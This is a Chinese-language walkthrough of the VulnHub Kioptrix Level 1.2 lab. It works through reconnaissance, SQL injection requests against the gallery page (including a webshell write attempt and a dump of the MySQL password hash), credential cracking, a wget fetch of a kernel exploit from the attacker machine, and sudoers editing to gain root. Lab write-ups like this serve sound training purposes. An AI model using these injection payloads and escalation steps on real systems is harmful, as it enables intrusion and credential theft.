【Vulnhub通关Kioptrix:Level 1.2 (#3)

2023年 10月 13日 38.7k 0

准备工作

靶机基本信息

靶机名称:Kioptrix Level 1.2(#3)
操作系统:Linux
虚拟机软件:VMware Workstation
网络连接方式:桥接至物理网络
渗透测试目标:获取靶机root权限和交互式Shell
下载地址:Kioptrix: Level 1.2 (#3) ~ VulnHub

设置DNS解析

由于题目环境要求,我们需要在攻击机的/etc/hosts文件中手动添加靶机的域名解析记录,文件内容如下:

注:使用vim /etc/hosts打开本地DNS记录文件。

使用ping命令检测靶机DNS解析环境:

┌──(root㉿hacker)-[/home/hacker]
└─# ping -c 10 kioptrix3.com
PING kioptrix3.com (192.168.2.113) 56(84) bytes of data.
64 bytes from kioptrix3.com (192.168.2.113): icmp_seq=1 ttl=64 time=0.389 ms
64 bytes from kioptrix3.com (192.168.2.113): icmp_seq=2 ttl=64 time=0.316 ms
64 bytes from kioptrix3.com (192.168.2.113): icmp_seq=3 ttl=64 time=0.300 ms
64 bytes from kioptrix3.com (192.168.2.113): icmp_seq=4 ttl=64 time=0.267 ms
64 bytes from kioptrix3.com (192.168.2.113): icmp_seq=5 ttl=64 time=0.315 ms
64 bytes from kioptrix3.com (192.168.2.113): icmp_seq=6 ttl=64 time=0.289 ms
64 bytes from kioptrix3.com (192.168.2.113): icmp_seq=7 ttl=64 time=0.275 ms
64 bytes from kioptrix3.com (192.168.2.113): icmp_seq=8 ttl=64 time=0.217 ms
64 bytes from kioptrix3.com (192.168.2.113): icmp_seq=9 ttl=64 time=0.304 ms
64 bytes from kioptrix3.com (192.168.2.113): icmp_seq=10 ttl=64 time=0.291 ms

--- kioptrix3.com ping statistics ---
10 packets transmitted, 10 received, 0% packet loss, time 9198ms
rtt min/avg/max/mdev = 0.217/0.296/0.389/0.041 ms

如上,测试到kioptrix3.com的网络连接正常,实验环境即配置成功。

信息收集

主机发现

我们可以使用netdiscover命令对目标网段进行主机扫描,发现靶机:

netdiscover -r 192.168.2.0

其中MAC设备名称一栏中带有VMware, Inc.字样的即为靶机。

靶机的IP地址为192.168.2.113。

目标扫描

确定了靶机的IP地址之后,我们使用nmap命令对其进行扫描:

# -A        扫描操作系统及软件版本信息
# -sV       扫描所有TCP端口
nmap -A -sV 192.168.2.113

从扫描结果看。靶机开放了以下端口:

端口 传输层协议 应用层协议 详细信息

22

TCP

SSH

OpenSSH 4.7p1 Debian 8ubuntu1.2(protocol 2.0)

80

TCP

HTTP

Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)

同时依据扫描出的OpenSSH版本号和操作系统信息,确定靶机的操作系统为Ubuntu Linux 8,内核版本在2.6.92.6.33之间。

服务探测

SSH服务(22)

使用nc工具探测SSH服务端口:

┌──(root㉿hacker)-[/home/hacker]
└─# nc 192.168.2.113 22      
SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1.2

使用searchsploit命令寻找对应版本漏洞:

searchsploit openssh 4.7

选中这两个EXP:

  • OpenSSH < 6.6 SFTP (x64) - Command Execution
  • OpenSSH < 6.6 SFTP - Command Execution

注:因为无法分辨靶机系统架构,所以先将两个文件保存备用。

保存EXP:

searchsploit -m 45000.c
searchsploit -m 45001.py

HTTP服务(80)

首先使用Firefox浏览器访问80端口:http://kioptrix3.com/,主页如下:

查看网页源代码,发现里面有这样一段HTML代码:


	
  	
   
  	
   
	
	
	Ligoat Security - Got Goat? Security ...
	


	
	  
          
          HomeBlogLogin
     
   

先不管其它的,使用dirsearch扫描Web服务器:

dirsearch -u http://kioptrix3.com/

发现有如下文件:

  • /index.php     =>   网站主页
  • /update.php      =>   未知页面
  • /style       =>    网页样式表(CSS)文件
  • /cache       =>    网站缓存目录
  • /core      =>    网站核心框架
  • /modules      =>    网站插件目录
  • /gallery      =>    照片墙,网站主要业务
  • /phpmyadmin   =>  PHPMyAdmin数据库管理系统

重点:发现了PHPMyAdmin。

网站绝对路径暴露

翻看网站的插件目录/modules,发现是一个目录列表:

同时知道了网站中间件、操作系统、PHP的版本,还得知了目标服务器部署有 Suhosin-PatchPHP程序保护插件。

随便点进一个文件夹,找到里面的PHP脚本打开,发现程序报错,显示出了网站的绝对路径:
/home/www/kioptrix3.com/

照片墙处疑似SQL注入

翻看网页文件,在网站照片墙处发现了一处高度疑似SQL注入点的网页,URL为http://kioptrix3.com/gallery/index.php,网页截图如下:

信息收集结束

渗透攻击

Web服务攻击

首先确认刚才发现的SQL注入点:http://kioptrix3.com/gallery/gallery.php?id=1'+and+1=1/*&sort=views#photos

返回如下信息,基本石锤SQL注入漏洞:

推测后端SQL语句如下:

SELECT id,category,parentid,sort,name FROM photo_wall WHERE id = [INPUT] ORDER BY parentid,sort,name ASC; 

尝试执行sleep()函数:

GET /gallery/gallery.php?id=10%20or%20sleep(10)-- -&sort=id HTTP/1.1

果然,执行成功,页面停顿了10秒左右才输出数据:

既然该注入点看上去不存在有效的SQL过滤,那么就尝试使用union联合查询枚举MySQL表中的列数:

GET /gallery/gallery.php?id=10%20union%20select%201,2,3,4,5,6-- -&sort=photoid HTTP/1.1 

可以看到这张表中一共有6个字段。接下来使用MySQL原生函数USER()DATABASE()VERSION()获取用户名、当前数据库和MySQL版本号:

可以看到如下信息:

  • 数据库版本:5.0.51a-3ubuntu5.4
  • 登录用户名:root@localhost
  • 当前数据库:gallery

尝试写入PHP木马

既然是root用户,而且知道网站绝对路径,那么尝试写入PHP一句话:

GET /gallery/gallery.php?id=10%20union%20select%20null,null,"",null,null,null%20into%20outfile%20"backdoor.php"-- -&sort=photoid HTTP/1.1 

写入确实成功了,但是非常尴尬,靶机的Apache服务器似乎无法进行目录穿越,也不知道木马保存在了哪里,MySQL似乎也没有访问网站目录的权限。无奈之下只能暂退一步,准备获取mysql.user表中的用户密码信息。

窃取MySQL高权限账户密码

一般情况下,我们查出mysql.user表中的密码信息只需要一条SQL语句:

SELECT password FROM `mysql.user` WHERE user = "root";

但在这个页面中,我们可以拼接SQL联合查询语句进行注入,让密码信息回显在页面上:

GET /gallery/gallery.php?id=10%20union%20select%201,2,password,4,5,6%20from%20mysql.user%20where%20user="root"-- -&sort=photoid HTTP/1.1 

可以看到跑出了一段MD5密文:47FB3B1E573D80F44CD198DC65DE7764795F948E。(*符号去除)
我们可以使用Kali Linux中自带的工具hash-identifier破解MD5值。打开终端,输入如下命令:

hash-identifier

打开一个命令行程序,粘贴复制的MD5值,工具就能分析出该值使用的加密方法:

得出加密方法为MySQL5,即把明文使用SHA-1方法加密两次。知道了加密方法就可以使用网络在线工具进行MD5解密了。这里推荐一个网站:SOMD5,输入MD5之后跑出结果:

由此得知MySQL的root账户登录信息:

  • 用户名:root
  • 密码:fuckeyou

(好好好,小嘴抹了蜜是吧)

PHPMyAdmin后台渗透

知道了数据库root账户的密码,就可以登录PHPMyAdmin了。打开网址http://kioptrix3.com/phpmyadmin,在登录框中输入刚才获取到的root账户密码,成功登录!

找到网站数据库gallery,翻看了一遍,有一张数据表dev_accounts引起了我的兴趣。(莫非是。。。操作系统账户???!)

执行了以下SQL查看操作系统账户:

SELECT load_file("/etc/passwd");

果然。。。快啊,很快啊

把账户的密码解密一下:

  • 用户名:dreg,密码:Mast3r
  • 用户名:loneferret,密码:starwars

SSH,启动!!
(这里由于靶机的OpenSSH版本太老,需要手动指定加密方法)

echo "Host kioptrix3.com" >> ~/.ssh/config
echo "    HostKeyAlgorithms +ssh-rsa" >> ~/.ssh/config
ssh dreg@kioptrix3.com

成功!!

权限提升

目前,我们已经得到了靶机dregloneferret两个账户的控制权。下面讲解对靶机的权限提升操作。

尝试sudo提权

打开SSH后尝试执行sudo su -,失败,提示当前用户无法切换至root用户。(不在/etc/sudoers文件中)

尝试利用内核漏洞提权

首先执行如下命令确定靶机的操作系统、Linux内核版本号等信息:

uname -a
uname -r
uname -n
cat /proc/version
cat /etc/*-release

可以得知靶机操作系统为Ubuntu Server 8.04.3 LTS,Linux内核版本为2.6.24-24-server。操作系统版本较低,尝试使用内核漏洞提权。

寻找漏洞:

searchsploit Linux Kernel 2.6.24

经过寻找,选中以下漏洞:

  • Linux Kernel 2.6.23 < 2.6.24 - 'vmsplice' Local Privilege Escalation (1)

将该漏洞EXP文件复制到当前目录并使用HTTP传送:

# 攻击机
searchsploit -m 5093.c
python3 -m http.server
# 靶机
wget http://192.168.2.108:8000/5093.c
gcc 5093.c -o ./5093
chmod 777 ./5093
./5093

但非常可惜,提权失败了。。。

PS:这里因为一些环境问题重新登录了longferret账号。

编辑sudoers文件提权

登录账户后,使用ls -lA命令查看家目录下的文件,发现两个敏感文件:

  • CompanyPolicy.README
  • .sudo_as_admin_successful

先看一下.sudo_as_admin_successful文件的类型:

file ./.sudo_as_admin_successful

结果返回empty,也摸不清这个文件为什么会存在,先放着。

查看CompanyPolicy.README文件,内容如下:

loneferret@Kioptrix3:~$ cat CompanyPolicy.README
Hello new employee,
It is company policy here to use our newly installed software for editing, creating and viewing files.
Please use the command 'sudo ht'.
Failure to do so will result in you immediate termination.

DG
CEO

这段话的意思是叫用户使用系统中一款命令为ht的编辑器编辑文件。尝试打开:

loneferret@Kioptrix3:~$ sudo ht
Error opening terminal: xterm-256color.

上网百度了一下,发现需要执行以下命令,修改环境变量:

export TERM=xterm

再次尝试:

发现成功打开编辑器。接下来查了一下这款编辑器的用法:按 F1 键打开帮助信息,按 F3 键打开文件,按 F6 键切换文本显示模式,按 F10 键退出编辑器。

在编辑器中按F3键打开文件选择窗口,在路径栏中输入/etc/sudoers按回车:

发现账户longferret被禁用了一些程序:

将上图中用红框勾画出来的内容使用#号注释掉,另起一行,配置如下:
(这行配置的作用是取消loneferret账户的命令限制)

longferret  ALL=(ALL)  ALL

还需要在文件末尾添加如下配置(无密码切换root账户):

%loneferret  ALL=NOPASSWD: ALL

F2键保存文件,F10退出编辑器,随后尝试切换至root账户:

sudo切换root成功.png

成功!!!

接下来,使用passwd命令更改root密码:

root@Kioptrix3:~# passwd root
Enter new UNIX password: *********
Retype new UNIX password: *********
passwd: password updated successfully

然后就可以在远程软件上修改连接文件的用户名和密码了:

双击连接:

注:这里用的软件是Termius

本次靶机渗透到此结束

相关文章

服务器端口转发,带你了解服务器端口转发
服务器开放端口,服务器开放端口的步骤
产品推荐:7月受欢迎AI容器镜像来了,有Qwen系列大模型镜像
如何使用 WinGet 下载 Microsoft Store 应用
百度搜索:蓝易云 – 熟悉ubuntu apt-get命令详解
百度搜索:蓝易云 – 域名解析成功但ping不通解决方案

发布评论